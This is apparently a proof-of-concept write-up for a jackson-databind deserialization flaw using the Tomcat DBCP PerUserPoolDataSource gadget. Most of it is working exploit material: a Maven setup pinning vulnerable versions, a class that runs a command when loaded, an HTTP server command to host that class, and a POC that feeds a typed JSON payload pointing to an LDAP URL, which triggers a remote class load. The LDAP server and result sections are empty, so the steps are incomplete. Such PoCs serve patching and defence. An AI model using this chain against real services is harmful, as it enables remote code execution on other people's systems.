Description

FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.

How to RCE

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.jacksonTest</groupId>
    <artifactId>jacksonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>10.0.0</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
</project>

Exploit.javax

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

SimpleServer

python -m  SimpleHTTPServer 4444

LDAPServer

POC.java

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1399/Exploit\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

Result:

Gadget Chain

PerUserPoolDataSource
	->InstanceKeyDataSource.setDataSourceName
    		->InstanceKeyDataSource.getconnection 
        			->InstanceKeyDataSource.testCPDS
                		->lookup